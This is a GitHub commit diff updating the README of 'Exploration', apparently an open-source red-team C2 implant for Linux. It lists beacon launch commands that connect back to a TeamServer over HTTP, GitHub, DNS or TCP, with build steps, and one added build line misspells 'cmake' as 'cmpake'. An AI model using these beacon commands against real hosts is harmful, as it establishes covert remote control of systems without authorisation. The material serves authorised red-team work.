Skip to content

Commit f064378

Browse files
authored
Update README.md
1 parent 59e78ea commit f064378

File tree

1 file changed

+37
-32
lines changed

1 file changed

+37
-32
lines changed

README.md

Lines changed: 37 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -1,61 +1,66 @@
11
# Exploration C2 Linux Implant
22

3-
## What it is
3+
## Overview
44

5-
Exploration is a redteam Command and Control framework.
6-
This repository contain the Beacon in C++ to target linux.
7-
The TeamServer and Client can be found in [C2TeamServer](https://github.com/maxDcb/C2TeamServer).
5+
**Exploration** is a modular Command and Control (C2) framework designed for red team operations. This repository provides the **Beacon** component implemented in C++ for targeting Linux systems. The associated TeamServer and Client components are available in the [C2TeamServer](https://github.com/maxDcb/C2TeamServer) repository.
86

9-
This project contains multiple beacon communicating with the TeamServer thought different means, here is some example:
7+
Multiple Beacons in this project are capable of communicating with the TeamServer over various channels. Supported transport mechanisms include HTTP/HTTPS, GitHub, DNS, and TCP.
108

11-
```
9+
## Communication Examples
10+
11+
```bash
1212
# HTTP/HTTPS
13-
BeaconHttp IP_TEAMSERVER PORT_LISTENER http/https
13+
BeaconHttp <TEAMSERVER_IP> <LISTENER_PORT> <http|https>
1414
BeaconHttp 10.10.10.10 8443 https
1515
BeaconHttp 10.10.10.10 8080 http
1616

17-
# Github
18-
BeaconGithub user/project TOKEN
17+
# GitHub
18+
BeaconGithub <GITHUB_USER/REPO> <ACCESS_TOKEN>
1919
BeaconGithub maxDcb/C2Implant ghp_dsfgdfhdf5554456g4fdg465...
2020

21-
# Dns
22-
BeaconDns DNS_SERVER DOM_TEAMSERVER
21+
# DNS
22+
BeaconDns <DNS_SERVER> <TEAMSERVER_DOMAIN>
2323
BeaconDns 8.8.8.8 bac.superdomain.com
2424

25-
# Tcp
26-
BeaconTcp IP_LISTENER PORT_LISTENER
25+
# TCP
26+
BeaconTcp <LISTENER_IP> <LISTENER_PORT>
2727
BeaconTcp 127.0.0.1 4444
2828
```
2929

30-
## Build
30+
## Build Instructions
3131

32-
### Sumbodule & External Projects:
32+
### Submodules & External Dependencies
3333

34-
* [Donut](https://github.com/TheWover/donut): Creat shellcode from PE files.
35-
* [CoffLoader](https://github.com/trustedsec/COFFLoader): Run object files from [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF).
36-
* [cpp-base64](https://github.com/ReneNyffenegger/cpp-base64): base64.
37-
* [json](https://github.com/nlohmann/json): json parser.
34+
This project utilizes several external libraries and tools:
3835

39-
### Build the Linux Beacons and Modules
36+
* [Donut](https://github.com/TheWover/donut): Generates shellcode from PE files.
37+
* [COFFLoader](https://github.com/trustedsec/COFFLoader): Executes object files, such as those in [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF).
38+
* [cpp-base64](https://github.com/ReneNyffenegger/cpp-base64): Provides base64 encoding/decoding.
39+
* [nlohmann/json](https://github.com/nlohmann/json): JSON parsing library.
4040

41-
git submodule update --init
42-
mkdir build
43-
cd build
41+
### Building the Linux Beacons and Modules
4442

43+
Initialize submodules and prepare the build environment:
4544

46-
```
47-
# With tests and logs
48-
cmake .. -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=./conan_provider.cmake -DWITH_TESTS=ON
49-
# Without tests and logs
50-
cmake .. -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=./conan_provider.cmake -DWITH_TESTS=OFF
51-
make -j4
45+
```bash
46+
git submodule update --init
47+
mkdir build
48+
cd build
5249
```
5350

54-
#### Production
51+
Compile with or without tests and logging:
5552

56-
Beacons are in: "Release\Beacons"
57-
Modules DLL in: "Release\Modules"
53+
```bash
54+
# With tests and logs
55+
cmpake .. -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=./conan_provider.cmake -DWITH_TESTS=ON
5856

57+
# Without tests and logs
58+
cmake .. -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=./conan_provider.cmake -DWITH_TESTS=OFF
5959

60+
make -j4
61+
```
6062

63+
### Output Locations
6164

65+
* Compiled Beacons: `Release/Beacons`
66+
* Compiled Modules: `Release/Modules`

0 commit comments

Comments
 (0)